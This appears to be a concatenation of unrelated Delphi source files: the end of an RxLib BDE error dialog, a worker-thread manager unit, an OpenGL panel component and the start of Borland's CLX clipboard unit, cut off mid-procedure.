Next.Caption := LoadStr(SNextButton) + ' >';
Back.Caption := '< ' + LoadStr(SPrevButton);
OKBtn.Caption := ResStr(SOKButton);
{ Set exception handler }
FPrevOnException := Application.OnException;
Application.OnException := ShowException;
end;
procedure TRxBdeErrorDlg.FormDestroy(Sender: TObject);
begin
Application.OnException := FPrevOnException;
end;
procedure TRxBdeErrorDlg.FormShow(Sender: TObject);
var
S: string;
ErrNo: Integer;
begin
if DbException.HelpContext <> 0 then
HelpContext := DbException.HelpContext
else HelpContext := DbErrorHelpCtx;
CurItem := 0;
if (DbException.ErrorCount > 1) and
(DbException.Errors[1].NativeError <> 0) and
((DbException.Errors[0].ErrorCode = DBIERR_UNKNOWNSQL) or
{ General SQL error }
(DbException.Errors[0].ErrorCode = DBIERR_INVALIDUSRPASS)) then
{ Unknown username or password }
ErrNo := 1
else ErrNo := 0;
S := Trim(DbException.Errors[ErrNo].Message);
GetErrorMsg(DbException.Errors[ErrNo], S);
ErrorText.Caption := S;
SetShowDetails(False);
DetailsBtn.Enabled := DbException.ErrorCount > 0;
end;
procedure TRxBdeErrorDlg.DetailsBtnClick(Sender: TObject);
begin
SetShowDetails(not Details);
end;
procedure TRxBdeErrorDlg.BackClick(Sender: TObject);
begin
Dec(CurItem);
ShowError;
end;
procedure TRxBdeErrorDlg.NextClick(Sender: TObject);
begin
Inc(CurItem);
ShowError;
end;
initialization
DbEngineErrorDlg := nil;
end.
|
unit uWorker;
interface
uses
System.Classes, System.SysUtils, System.Generics.Defaults,
System.Generics.Collections, Controls, Forms, Winapi.Windows, Winapi.Messages;
const
WM_WORKER_STARTED = WM_USER + 100;
WM_WORKER_SUSPENDED = WM_USER + 101;
WM_WORKER_RESUMED = WM_USER + 102;
WM_WORKER_FINISHED = WM_USER + 103;
WM_WORKER_FEEDBACK_PROGRESS = WM_USER + 105;
WM_WORKER_FEEDBACK_DATA = WM_USER + 106;
WM_WORKER_NEED_CANCEL = WM_USER + 107;
WM_WORKER_NEED_SUSPEND = WM_USER + 108;
type
TWorkerStatus = ( wsCanceled, wsSuccessed, wsFailed );
// TWorkerEvent = ( weTerminate, weStart, weResume, weDone );
const
WorkerStatusText : array [ wsCanceled .. wsFailed ] of string = ( 'Canceled',
'Successed', 'Failed' );
type
TWorker = class;
TWorkerMgr = class;
TWorkerProc = function( Worker : TWorker; Param : TObject )
: TWorkerStatus of object;
PWorkerDataRec = ^TWorkerDataRec;
TWorkerDataRec = record
Id : Integer;
Data : TObject;
end;
TWorkerDataEvent = procedure( Sender : TWorker; Id : Integer; Data : TObject )
of object;
TWorkerProgressEvent = procedure( Sender : TWorker; Progress : Integer )
of object;
TWorkerDoneEvent = procedure( Sender : TWorker; Status : TWorkerStatus )
of object;
TCallbackEvent = procedure( Sender : TWorker; Param : PLongBool ) of object;
TWorkerStateEvent = procedure( Sender : TWorker ) of object;
TWorkerClass = class of TWorker;
TWorker = class( TThread )
FName : string;
FTag : Integer;
FOwner : TWorkerMgr;
FFreeOnDone : LongBool;
FProc : TWorkerProc;
FParam : TObject;
FAlloced : LongBool;
FExecuting : LongBool;
FWorking : LongBool;
FCancelPending : LongBool;
FSuspended : LongBool;
FSuspendPending : LongBool;
FOnNeedCancel : TCallbackEvent;
FOnNeedSuspend : TCallbackEvent;
FOnData : TWorkerDataEvent;
FOnProgress : TWorkerProgressEvent;
FOnStart : TWorkerStateEvent;
FOnSuspend : TWorkerStateEvent;
FOnResume : TWorkerStateEvent;
FOnDone : TWorkerDoneEvent;
FTerminateEvent : THandle;
FStartEvent : THandle;
FResumeEvent : THandle;
FDoneEvent : THandle;
procedure AfterConstruction; override;
protected
procedure Execute; override;
procedure DoData( WorkerDataRec : PWorkerDataRec );
procedure DoProgress( Progress : Integer );
procedure DoStarted( );
procedure DoSuspended( );
procedure DoResumed( );
procedure DoDone( Status : TWorkerStatus );
procedure DoNeedCancel( Cancel : PLongBool );
procedure DoNeedSuspend( Suspend : PLongBool );
public
constructor Create( Owner : TWorkerMgr; Name : string = 'Worker';
Tag : Integer = 0 );
destructor Destroy; override;
// For Main Thread
procedure Start( Proc : TWorkerProc; Param : TObject );
procedure Suspend( );
procedure Resume( );
procedure Cancel( );
// For Worker Thread
function IsCancelPending : LongBool;
procedure Started( );
procedure Resumed( );
procedure Suspended( );
procedure Done( Status : TWorkerStatus );
procedure NeedCancel( Cancel : PLongBool );
procedure NeedSuspend( Suspend : PLongBool );
procedure Progress( Perent : Integer );
procedure Data( Id : Integer; Data : TObject );
// For Main Thread
property name : string read FName write FName;
property Tag : Integer read FTag write FTag default 0;
property Executing : LongBool read FExecuting;
property Working : LongBool read FWorking;
property OnStart : TWorkerStateEvent read FOnStart write FOnStart;
property OnSuspend : TWorkerStateEvent read FOnSuspend write FOnSuspend;
property OnResume : TWorkerStateEvent read FOnResume write FOnResume;
property OnDone : TWorkerDoneEvent read FOnDone write FOnDone;
property OnProgress : TWorkerProgressEvent read FOnProgress
write FOnProgress;
property OnData : TWorkerDataEvent read FOnData write FOnData;
property OnNeedCancel : TCallbackEvent read FOnNeedCancel
write FOnNeedCancel;
property OnNeedSuspend : TCallbackEvent read FOnNeedSuspend
write FOnNeedSuspend;
end;
EWorkerMgr = class( Exception );
TWorkerMgr = class( TThread )
private
FName : string;
FCreated : Boolean;
FThreadWindow : HWND;
FProcessWindow : HWND;
FReadyEvent : THandle;
FException : Exception;
FWorkerList : TThreadList< TWorker >;
procedure TerminatedSet; override;
procedure AfterConstruction; override;
procedure BeforeDestruction; override;
function PostThreadMessage( Msg, WParam, LParam : NativeUInt ) : LongBool;
function SendThreadMessage( Msg, WParam, LParam : NativeUInt ) : NativeInt;
function PostProcessMessage( Msg, WParam, LParam : NativeUInt ) : LongBool;
function SendProcessMessage( Msg, WParam, LParam : NativeUInt ) : NativeInt;
procedure CreateThreadWindow;
procedure DeleteThreadWindow;
procedure ThreadWndMethod( var Msg : TMessage );
procedure CreateProcessWindow;
procedure DeleteProcessWindow;
procedure ProcessWndMethod( var Msg : TMessage );
procedure HandleException;
procedure HandleExceptionProcesshronized;
{ doesn't use }
procedure CreateProcessWindowEx;
procedure ProcessWndMethodEx( var Msg : TMessage );
procedure ProcessWndMessageEx( var Msg : TMessage ); message WM_USER;
{ doesn't use }
procedure Execute; override;
procedure Idle;
public
constructor Create( Name : string = 'WorkerMgr' );
destructor Destroy; override;
function AllocWorker( FreeOnDone : LongBool = True;
Name : string = 'Worker'; Tag : Integer = 0 ) : TWorker;
procedure FreeWorker( Worker : TWorker );
end;
var
WorkerMgr : TWorkerMgr;
implementation
{ TWorker }
const
WM_TERMINATE_WORKER_MGR = WM_APP;
procedure DeallocateHWnd( Wnd : HWND );
var
Instance : Pointer;
begin
Instance := Pointer( GetWindowLong( Wnd, GWL_WNDPROC ) );
if Instance <> @DefWindowProc then
begin
{ make sure we restore the default windows procedure before freeing memory }
SetWindowLong( Wnd, GWL_WNDPROC, Longint( @DefWindowProc ) );
FreeObjectInstance( Instance );
end;
DestroyWindow( Wnd );
end;
procedure TWorker.NeedCancel( Cancel : PLongBool );
begin
if Assigned( FOnNeedCancel ) then
FOwner.SendProcessMessage( WM_WORKER_NEED_CANCEL, NativeUInt( Self ),
NativeUInt( Cancel ) );
end;
procedure TWorker.NeedSuspend( Suspend : PLongBool );
begin
if Assigned( FOnNeedSuspend ) then
FOwner.SendProcessMessage( WM_WORKER_NEED_SUSPEND, NativeUInt( Self ),
NativeUInt( Suspend ) );
end;
procedure TWorker.Data( Id : Integer; Data : TObject );
var
WorkerDataRec : PWorkerDataRec;
begin
if Assigned( FOnData ) then
begin
New( WorkerDataRec );
WorkerDataRec.Id := Id;
WorkerDataRec.Data := Data;
FOwner.SendProcessMessage( WM_WORKER_FEEDBACK_DATA, NativeUInt( Self ),
NativeUInt( WorkerDataRec ) );
Dispose( WorkerDataRec );
end;
end;
procedure TWorker.Progress( Perent : Integer );
begin
if Assigned( FOnProgress ) then
FOwner.SendProcessMessage( WM_WORKER_FEEDBACK_PROGRESS, NativeUInt( Self ),
NativeUInt( Perent ) )
end;
procedure TWorker.Started;
begin
FCancelPending := FALSE;
FSuspendPending := FALSE;
if Assigned( FOnStart ) then
FOwner.PostProcessMessage( WM_WORKER_STARTED, NativeUInt( Self ),
NativeUInt( 0 ) )
end;
procedure TWorker.Resumed;
begin
if Assigned( FOnResume ) then
FOwner.PostProcessMessage( WM_WORKER_RESUMED, NativeUInt( Self ),
NativeUInt( 0 ) )
end;
procedure TWorker.Suspended( );
begin
if Assigned( FOnSuspend ) then
FOwner.PostProcessMessage( WM_WORKER_SUSPENDED, NativeUInt( Self ),
NativeUInt( 0 ) )
end;
procedure TWorker.Done( Status : TWorkerStatus );
begin
FCancelPending := FALSE;
FSuspendPending := FALSE;
FOwner.SendProcessMessage( WM_WORKER_FINISHED, NativeUInt( Self ),
NativeUInt( Status ) );
if FDoneEvent <> 0 then
SetEvent( FDoneEvent );
end;
procedure TWorker.Suspend;
begin
if FWorking and not FSuspended then
FSuspendPending := True;
end;
procedure TWorker.Resume;
begin
if FWorking and FSuspended then
SetEvent( FResumeEvent );
end;
procedure TWorker.Cancel;
var
Wait : DWORD;
begin
if FWorking then
begin
FCancelPending := True;
Resume;
FDoneEvent := CreateEvent( nil, True, FALSE, '' );
while True do
begin
Wait := MsgWaitForMultipleObjects( 1, FDoneEvent, FALSE, INFINITE,
QS_ALLINPUT );
if Wait = WAIT_OBJECT_0 then
begin
ResetEvent( FDoneEvent );
CloseHandle( FDoneEvent );
Exit;
end;
Application.ProcessMessages
end;
end;
end;
procedure TWorker.Start( Proc : TWorkerProc; Param : TObject );
begin
Self.FProc := Proc;
Self.FParam := Param;
while not FExecuting do
Yield;
SetEvent( Self.FStartEvent );
end;
constructor TWorker.Create( Owner : TWorkerMgr; Name : string; Tag : Integer );
begin
FName := name;
FTag := Tag;
FOwner := Owner;
inherited Create( FALSE );
end;
procedure TWorker.AfterConstruction;
begin
inherited AfterConstruction; // ResumeThread
while not FExecuting do // Wait for thread execute
Yield; // Suspend Caller's Thread, to start Worker's Thread
end;
procedure TWorker.Execute;
var
Wait : DWORD;
Status : TWorkerStatus;
FEvents : array [ 0 .. 1 ] of THandle;
begin
NameThreadForDebugging( FName );
FTerminateEvent := CreateEvent( nil, True, FALSE, '' );
FStartEvent := CreateEvent( nil, True, FALSE, '' );
FEvents[ 0 ] := FTerminateEvent;
FEvents[ 1 ] := FStartEvent;
FWorking := FALSE;
FExecuting := True;
try
while not Terminated do
begin
Wait := WaitForMultipleObjects( 2, @FEvents, FALSE, INFINITE );
// If more than one object became signaled during the call,
// this is the array index of the signaled object
// with the smallest index value of all the signaled objects.
case Wait of
WAIT_OBJECT_0 .. WAIT_OBJECT_0 + 1 :
if WAIT_OBJECT_0 = Wait then // weTerminate
begin
ResetEvent( FTerminateEvent );
Exit;
end else begin
ResetEvent( FStartEvent );
FWorking := True;
Started( );
Status := FProc( Self, FParam );
Done( Status ); // wsCanceled, wsSuccessed, wscFailed
FWorking := FALSE;
end;
WAIT_ABANDONED_0 .. WAIT_ABANDONED_0 + 1 :
begin
// mutex object abandoned
end;
WAIT_FAILED :
begin
if GetLastError <> ERROR_INVALID_HANDLE then
begin
// the wait failed because of something other than an invalid handle
RaiseLastOSError;
end else begin
// at least one handle has become invalid outside the wait call
end;
end;
WAIT_TIMEOUT :
begin
// Never because dwMilliseconds is INFINITE
end;
else
begin
end;
end;
end;
finally
if FTerminateEvent <> 0 then
CloseHandle( FTerminateEvent );
if FStartEvent <> 0 then
CloseHandle( FStartEvent );
FExecuting := FALSE;
end;
end;
function TWorker.IsCancelPending : LongBool;
var
NeedCancel : LongBool;
NeedSuspend : LongBool;
begin
Result := FSuspendPending;
if not Result then
begin
NeedSuspend := FALSE;
Self.NeedSuspend( @NeedSuspend );
Result := NeedSuspend;
end;
if Result then
begin
FSuspendPending := FALSE;
FSuspended := True;
Suspended( );
FResumeEvent := CreateEvent( nil, True, FALSE, '' );
WaitForSingleObject( FResumeEvent, INFINITE );
ResetEvent( FResumeEvent );
CloseHandle( FResumeEvent );
FSuspended := FALSE;
Resumed( );
end;
Result := FCancelPending;
if not Result then
begin
NeedCancel := FALSE;
Self.NeedCancel( @NeedCancel );
Result := NeedCancel;
end;
if Result then
FCancelPending := FALSE;
end;
destructor TWorker.Destroy;
begin
if FExecuting then
begin
if not FWorking then // Wait for StartEvent or ExitEvent
begin
SetEvent( FTerminateEvent );
end else begin
Cancel;
end;
end;
inherited Destroy;
end;
procedure TWorker.DoData( WorkerDataRec : PWorkerDataRec );
begin
if Assigned( FOnData ) then
begin
FOnData( Self, WorkerDataRec.Id, WorkerDataRec.Data );
end;
end;
procedure TWorker.DoProgress( Progress : Integer );
begin
if Assigned( FOnProgress ) then
FOnProgress( Self, Progress );
end;
procedure TWorker.DoDone( Status : TWorkerStatus );
begin
if Assigned( FOnDone ) then
FOnDone( Self, Status );
if Self.FFreeOnDone then
FOwner.FreeWorker( Self );
end;
procedure TWorker.DoResumed;
begin
if Assigned( FOnResume ) then
FOnResume( Self );
end;
procedure TWorker.DoStarted;
begin
if Assigned( FOnStart ) then
FOnStart( Self );
end;
procedure TWorker.DoSuspended;
begin
if Assigned( FOnSuspend ) then
FOnSuspend( Self );
end;
procedure TWorker.DoNeedCancel( Cancel : PLongBool );
begin
Cancel^ := FALSE;
if Assigned( FOnNeedCancel ) then
FOnNeedCancel( Self, Cancel );
end;
procedure TWorker.DoNeedSuspend( Suspend : PLongBool );
begin
Suspend^ := FALSE;
if Assigned( FOnNeedSuspend ) then
FOnNeedSuspend( Self, Suspend );
end;
{ TWorkerMgr }
procedure TWorkerMgr.CreateProcessWindow;
begin
FProcessWindow := AllocateHWnd( ProcessWndMethod );
end;
procedure TWorkerMgr.CreateThreadWindow;
begin
FThreadWindow := AllocateHWnd( ThreadWndMethod );
end;
function TWorkerMgr.AllocWorker( FreeOnDone : LongBool; Name : string;
Tag : Integer ) : TWorker;
var
I : Integer;
UnallocedWorkerFound : LongBool;
begin
UnallocedWorkerFound := FALSE;
for I := 0 to FWorkerList.LockList.Count - 1 do
begin
Result := FWorkerList.LockList[ I ];
if not Result.FAlloced then
begin
UnallocedWorkerFound := True;
Break;
end;
end;
if not UnallocedWorkerFound then
begin
if FWorkerList.LockList.Count = 32 then
raise EWorkerMgr.Create( 'Can not create worker thread.' );
Result := TWorker.Create( Self, name );
FWorkerList.Add( Result );
end;
Result.FAlloced := True;
Result.Name := name;
Result.Tag := Tag;
Result.FFreeOnDone := FreeOnDone;
Result.OnStart := nil;
Result.OnSuspend := nil;
Result.OnResume := nil;
Result.OnDone := nil;
Result.OnProgress := nil;
Result.OnData := nil;
Result.OnNeedCancel := nil;
Result.OnNeedSuspend := nil;
end;
procedure TWorkerMgr.FreeWorker( Worker : TWorker );
var
I : Integer;
begin
for I := 0 to FWorkerList.LockList.Count - 1 do
begin
if Worker = FWorkerList.LockList[ I ] then
begin
Worker.FAlloced := FALSE;
Worker := nil;
Exit;
end;
end;
end;
procedure TWorkerMgr.HandleExceptionProcesshronized;
begin
if FException is Exception then
Application.ShowException( FException )
else
System.SysUtils.ShowException( FException, nil );
end;
procedure TWorkerMgr.ThreadWndMethod( var Msg : TMessage );
var
Handled : Boolean;
Worker : TWorker;
begin
Handled := True; // Assume we handle message
Worker := TWorker( Msg.WParam );
case Msg.Msg of
WM_TERMINATE_WORKER_MGR :
begin
PostQuitMessage( 0 );
end;
else
Handled := FALSE; // We didn't handle message
end;
if Handled then // We handled message - record in message result
Msg.Result := 0
else // We didn't handle message, pass to DefWindowProc and record result
Msg.Result := DefWindowProc( FProcessWindow, Msg.Msg, Msg.WParam,
Msg.LParam );
end;
procedure TWorkerMgr.AfterConstruction;
begin
inherited AfterConstruction;
WaitForSingleObject( FReadyEvent, INFINITE );
CloseHandle( FReadyEvent );
if not FCreated then
raise EWorkerMgr.Create( 'Can not create worker manager thread.' );
FWorkerList := TThreadList< TWorker >.Create;
end;
procedure TWorkerMgr.BeforeDestruction;
begin
if Assigned( FWorkerList ) then
begin
while FWorkerList.LockList.Count > 0 do
begin
FreeWorker( FWorkerList.LockList[ 0 ] );
FWorkerList.LockList[ 0 ].Destroy;
FWorkerList.Remove( FWorkerList.LockList[ 0 ] );
end;
FWorkerList.Free;
end;
inherited BeforeDestruction;
end;
constructor TWorkerMgr.Create( Name : string );
begin
FName := name;
FReadyEvent := CreateEvent( nil, True, FALSE, '' );
inherited Create( FALSE );
{ Create hidden window here: store handle in FProcessWindow
this must by synchonized because of ProcessThread Context }
Synchronize( CreateProcessWindow );
end;
procedure TWorkerMgr.TerminatedSet;
begin
// Exit Message Loop
PostThreadMessage( WM_TERMINATE_WORKER_MGR, 0, 0 );
end;
procedure TWorkerMgr.DeleteProcessWindow;
begin
if FProcessWindow <> 0 then
begin
DeallocateHWnd( FProcessWindow );
FProcessWindow := 0;
end;
end;
procedure TWorkerMgr.DeleteThreadWindow;
begin
if FThreadWindow > 0 then
begin
DeallocateHWnd( FThreadWindow );
FThreadWindow := 0;
end;
end;
destructor TWorkerMgr.Destroy;
begin
Terminate; // FTerminated := True;
inherited Destroy; // WaitFor(), Destroy()
{ Destroy hidden window }
DeleteProcessWindow( );
end;
procedure TWorkerMgr.Idle;
begin
end;
procedure TWorkerMgr.Execute;
var
Msg : TMsg;
begin
NameThreadForDebugging( FName );
FException := nil;
try
// Force system alloc a Message Queue for thread
// PeekMessage( Msg, 0, WM_USER, WM_USER, PM_NOREMOVE );
CreateThreadWindow( );
SetEvent( FReadyEvent );
if FThreadWindow = 0 then
raise EWorkerMgr.Create( 'Can not create worker manager window.' );
FCreated := True;
try
while not Terminated do
begin
if FALSE then
begin
if Longint( PeekMessage( Msg, 0, 0, 0, PM_REMOVE ) ) > 0 then
begin
// WM_QUIT Message sent by Destroy()
if Msg.message = WM_QUIT then
Exit;
TranslateMessage( Msg );
DispatchMessage( Msg );
end else begin
Idle;
end;
end else begin
while Longint( GetMessage( Msg, 0, 0, 0 ) ) > 0 do
begin
TranslateMessage( Msg );
DispatchMessage( Msg );
end;
// WM_QUIT Message sent by Destroy()
end;
end;
finally
DeleteThreadWindow( );
end;
except
HandleException;
end;
end;
procedure TWorkerMgr.HandleException;
begin
FException := Exception( ExceptObject );
try
if FException is EAbort then // Don't show EAbort messages
Exit;
// Now actually show the exception in Appliction Context
Synchronize( HandleExceptionProcesshronized );
finally
FException := nil;
end;
end;
function TWorkerMgr.PostThreadMessage( Msg, WParam, LParam : NativeUInt )
: LongBool;
begin
while FThreadWindow = 0 do
SwitchToThread;
Result := Winapi.Windows.PostMessage( FThreadWindow, Msg, WParam, LParam );
end;
function TWorkerMgr.SendThreadMessage( Msg, WParam, LParam : NativeUInt )
: NativeInt;
begin
while FThreadWindow = 0 do
SwitchToThread;
Result := Winapi.Windows.SendMessage( FThreadWindow, Msg, WParam, LParam );
end;
function TWorkerMgr.PostProcessMessage( Msg, WParam, LParam : NativeUInt )
: LongBool;
begin
Result := Winapi.Windows.PostMessage( FProcessWindow, Msg, WParam, LParam );
end;
function TWorkerMgr.SendProcessMessage( Msg, WParam, LParam : NativeUInt )
: NativeInt;
begin
Result := Winapi.Windows.SendMessage( FProcessWindow, Msg, WParam, LParam );
end;
procedure TWorkerMgr.ProcessWndMethod( var Msg : TMessage );
var
Handled : Boolean;
Worker : TWorker;
begin
Handled := True; // Assume we handle message
Worker := TWorker( Msg.WParam );
case Msg.Msg of
WM_WORKER_NEED_SUSPEND :
begin
Worker.DoNeedSuspend( PLongBool( Msg.LParam ) );
end;
WM_WORKER_NEED_CANCEL :
begin
Worker.DoNeedCancel( PLongBool( Msg.LParam ) );
end;
WM_WORKER_FEEDBACK_PROGRESS :
begin
Worker.DoProgress( Integer( Msg.LParam ) );
end;
WM_WORKER_FEEDBACK_DATA :
begin
Worker.DoData( PWorkerDataRec( Msg.LParam ) );
end;
WM_WORKER_FINISHED :
begin
Worker.DoDone( TWorkerStatus( Msg.LParam ) );
end;
WM_WORKER_SUSPENDED :
begin
Worker.DoSuspended( );
end;
WM_WORKER_RESUMED :
begin
Worker.DoResumed( );
end;
WM_WORKER_STARTED :
begin
Worker.DoStarted( );
end;
else
Handled := FALSE; // We didn't handle message
end;
if Handled then // We handled message - record in message result
Msg.Result := 0
else // We didn't handle message, pass to DefWindowProc and record result
Msg.Result := DefWindowProc( FProcessWindow, Msg.Msg, Msg.WParam,
Msg.LParam );
end;
procedure TWorkerMgr.CreateProcessWindowEx;
begin
FProcessWindow := AllocateHWnd( ProcessWndMethodEx );
end;
procedure TWorkerMgr.ProcessWndMethodEx( var Msg : TMessage );
begin
Dispatch( Msg );
end;
procedure TWorkerMgr.ProcessWndMessageEx( var Msg : TMessage );
begin
end;
initialization
WorkerMgr := TWorkerMgr.Create( );
finalization
WorkerMgr.Free;
end.
|
unit glpanel;
interface
{$D-,L-,O+,Q-,R-,Y-,S-}
uses
dglOpenGL,Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, stdctrls;
type
TGLPanel= class(TPanel)
private
DC: HDC;
RC: HGLRC;
protected
procedure Paint; override;
public
procedure MakeCurrent; overload;
procedure MakeCurrent(dummy: boolean); overload;
procedure ReleaseContext;
published
end;
procedure rglSetupGL(lPanel: TGLPanel; lAntiAlias: GLint);
procedure Register;
implementation
uses mainunit;
procedure Register;
begin
RegisterComponents('GLPanel', [TGLPanel]);
end;
procedure TGLPanel.Paint;
begin
wglMakeCurrent(self.DC, self.RC);
GLForm1.GLboxPaint(self);
SwapBuffers(Self.DC);
end;
procedure TGLPanel.MakeCurrent;
begin
wglMakeCurrent(self.DC, self.RC);
end;
procedure TGLPanel.MakeCurrent(dummy: boolean);
begin
MakeCurrent;
end;
procedure TGLPanel.ReleaseContext;
begin
wglMakeCurrent(0,0);
end;
procedure rglSetupGL(lPanel: TGLPanel; lAntiAlias: GLint);
var
//http://stackoverflow.com/questions/3444217/opengl-how-to-limit-to-an-image-component
PixelFormat: integer;
const
PFD: TPixelFormatDescriptor = (
nSize: sizeOf(TPixelFormatDescriptor);
nVersion: 1;
dwFlags: PFD_SUPPORT_OPENGL or PFD_DRAW_TO_WINDOW or PFD_DOUBLEBUFFER;
iPixelType: PFD_TYPE_RGBA;
cColorBits: 24;
cRedBits: 0;
cRedShift: 0;
cGreenBits: 0;
cGreenShift: 0;
cBlueBits: 0;
cBlueShift: 0;
cAlphaBits: 24;
cAlphaShift: 0;
cAccumBits: 0;
cAccumRedBits: 0;
cAccumGreenBits: 0;
cAccumBlueBits: 0;
cAccumAlphaBits: 0;
cDepthBits: 16;
cStencilBits: 0;
cAuxBuffers: 0;
iLayerType: PFD_MAIN_PLANE;
bReserved: 0;
dwLayerMask: 0;
dwVisibleMask: 0;
dwDamageMask: 0);
begin
lPanel.DC := GetDC(lPanel.Handle);
if lAntiAlias > 0 then
PixelFormat := lAntiAlias
else
PixelFormat := ChoosePixelFormat(lPanel.DC, @PFD);
SetPixelFormat(lPanel.DC, PixelFormat, @PFD);
lPanel.RC := wglCreateContext(lPanel.DC);
wglMakeCurrent(lPanel.DC, lPanel.RC);
end;
end.
|
{ *************************************************************************** }
{ }
{ Delphi and Kylix Cross-Platform Visual Component Library }
{ }
{ Copyright (c) 2000, 2001 Borland Software Corporation }
{ }
{ *************************************************************************** }
unit QClipbrd;
{$R-,T-,H+,X+}
interface
uses
SysUtils, Classes, Qt, QTypes, QConsts, QGraphics;
type
TClipboard = class(TPersistent)
private
FCachedProvidesFormat: string;
FCachedText: WideString;
FHandle: QClipboardH;
FHook: QClipboard_hookH;
FCachedProvidesResponse: Boolean;
FCachedTextValid: Boolean;
procedure ClearCache;
procedure ClipboardChangedNotification; cdecl;
procedure AssignGraphic(Source: TGraphic);
procedure AssignPicture(Source: TPicture);
procedure AssignMimeSource(Source: TMimeSource);
procedure AssignToBitmap(Dest: TBitmap);
procedure AssignToPicture(Dest: TPicture);
function GetAsText: WideString;
procedure SetAsText(const Value: WideString);
function GetHandle: QClipboardH;
protected
procedure AssignTo(Dest: TPersistent); override;
public
destructor Destroy; override;
function AddFormat(const Format: string; Stream: TStream): Boolean;
procedure Assign(Source: TPersistent); override;
procedure Clear;
function GetComponent(Owner, Parent: TComponent): TComponent;
function GetFormat(const Format: string; Stream: TStream): Boolean;
procedure SetFormat(const Format: string; Stream: TStream);
function Provides(const Format: string): Boolean;
function RegisterClipboardFormat(const Format: string): Integer;
procedure SetComponent(Component: TComponent);
procedure SupportedFormats(List: TStrings);
property AsText: WideString read GetAsText write SetAsText;
property Handle: QClipboardH read GetHandle;
end;
function Clipboard: TClipboard;
function SetClipboard(NewClipboard: TClipboard): TClipboard;
implementation
var
FClipboard: TClipboard = nil;
function Clipboard: TClipboard;
begin
if not Assigned(FClipboard) then
FClipboard := TClipboard.Create;
Result := FClipboard;
end;
function SetClipboard(NewClipboard: TClipboard): TClipboard;
begin
Result := FClipboard;
FClipboard := NewClipboard;
end;
{ TClipboard }
destructor TClipboard.Destroy;
begin
QClipboard_hook_destroy(FHook);
inherited;
end;
function TClipboard.AddFormat(const Format: string; Stream: TStream): Boolean;
var
Temp: TClxMimeSource;
begin
Temp := TClxMimeSource.Create(QClxMimeSource_create(QClipboard_data(Handle)));
try
Temp.LoadFromStream(Stream, Format);
Clear;
QClipboard_setData(Handle, Temp.Handle);
Result := True;
finally
Temp.ReleaseHandle;
Temp.Free;
end;
end;
procedure TClipboard.Assign(Source: TPersistent);
begin
if Source is TPicture then
AssignPicture(TPicture(Source))
else if Source is TGraphic then
AssignGraphic(TGraphic(Source))
else if Source is TMimeSource then
AssignMimeSource(TMimeSource(Source))
else
inherited Assign(Source);
end;
procedure TClipboard.AssignGraphic(Source: TGraphic);
var
MimeSource: TClxMimeSource;
begin
MimeSource := nil;
try
MimeSource := TClxMimeSource.Create;
Source.SaveToMimeSource(MimeSource);
QClipboard_setData(Handle, MimeSource.Handle);
finally
MimeSource.Free;
end;
end;
procedure TClipboard.AssignMimeSource(Source: TMimeSource);
begin
QClipboard_setData(Handle, Source.Handle);
end;
procedure TClipboard.AssignPicture(Source: TPicture);
var
MimeSource: TClxMimeSource;
begin
MimeSource := nil;
try
MimeSource := TClxMimeSource.Create;
Source.SaveToMimeSource(MimeSource);
QClipboard_setData(Handle, MimeSource.Handle);
finally
MimeSource.Free;
end;
end;
procedure TClipboard.AssignTo(Dest: TPersistent);
begin
if Dest is TPicture then
AssignToPicture(TPicture(Dest))
else if Dest is TBitmap then
AssignToBitmap(TBitmap(Dest))
else
inherited AssignTo(Dest);
end;
procedure TClipboard.AssignToBitmap(Dest: TBitmap);
var
MimeSource: TMimeSource;
Stream: TMemoryStream;
begin
MimeSource := TMimeSource.Create(QClipboard_data(Handle));
try
if MimeSource.Provides(SDelphiBitmap) then
begin
Stream := TMemoryStream.Create;
try
MimeSource.SaveToStream(SDelphiBitmap, Stream);
Stream.Position := 0;
Dest.LoadFromStream(Stream);
finally
Stream.Free;
end;
end;
finally
MimeSource.Free;
end;
end;
procedure TClipboard.AssignToPicture(Dest: TPicture);
var
MimeSource: TMimeSource;
Stream: TMemoryStream;
begin
MimeSource := TMimeSource.Create(QClipboard_data(Handle));
try
if MimeSource.Provides(SDelphiPicture) then
begin
Stream := TMemoryStream.Create;
try
MimeSource.SaveToStream(SDelphiPicture, Stream);
Stream.Position := 0;
Dest.Graphic.LoadFromStream(Stream);
finally
Stream.Free;
end;
end;
finally
MimeSource.Free;
end;
end;
procedure TClipboard.Clear;
begin
QClipboard_clear(Handle);
end;
procedure TClipboard.ClearCache;
begin
FCachedProvidesFormat := '';
FCachedText := '';
FCachedTextValid := False;
end;
procedure TClipboard.ClipboardChangedNotification; cdecl;
begin
ClearCache;
end;
function TClipboard.GetAsText: WideString;
begin
if not FCachedTextValid then
begin
QClipboard_text(Handle, PWideString(@FCachedText));
FCachedTextValid := True;
end;
Result := FCachedText;
end;
function TClipboard.GetComponent(Owner, Parent: TComponent): TComponent;
var
Stream: TMemoryStream;
Reader: TReader;
begin
Result := nil;
Stream := nil;
try
Stream := TMemoryStream.Create;
if GetFormat(SDelphiComponent, Stream) then
begin
Stream.Position := 0;
Reader := TReader.Create(Stream, 256);
try
Reader.Parent := Parent;
Result := Reader.ReadRootComponent(nil);
try
if Owner <> nil then
Owner.InsertComponent(Result);
except
Result.Free;
raise;
end;
finally
Reader.Free;
end;
end;
finally
Stream.Free;
end;
end;
function TClipboard.GetFormat(const Format: string; Stream: TStream): Boolean;
begin
with TMimeSource.Create(QClipboard_data(Handle)) do
begin
Result := SaveToStream(Format, Stream);
Free;
end;
end;
function TClipboard.GetHandle: QClipboardH;
var
ChangedEvent: QClipboard_dataChanged_Event;
begin
if FHandle = nil then
begin
FHandle := QApplication_clipboard;
FHook := QClipboard_hook_create(FHandle);
ChangedEvent := ClipboardChangedNotification;
QClipboard_hook_hook_dataChanged(FHook, TMethod(ChangedEvent));
end;
Result := FHandle;
end;
function TClipboard.Provides(const Format: string): Boolean;
begin
if Format <> FCachedProvidesFormat then
begin
FCachedProvidesFormat := Format;
FCachedProvidesResponse := QMimeSource_provides(QClipboard_data(Handle),
PChar(Format));
end;
Result := FCachedProvidesResponse;
end;
function TClipboard.RegisterClipboardFormat(const Format: string): Integer;
begin
{$IFDEF MSWINDOWS}
Result := QWindowsMime_registerMimeType(PChar(Format));
{$ELSE}
Result := -1;
{$ENDIF}
end;
procedure TClipboard.SetAsText(const Value: WideString);
begin
QClipboard_setText(Handle, PWideString(@Value));
ClearCache;
end;
procedure TClipboard.SetComponent(Component: TComponent);
var
Stream: TMemoryStream;
MimeSource: TClxMimeSource;
begin
Stream := TMemoryStream.Create;
try
Stream.WriteComponent(Component);
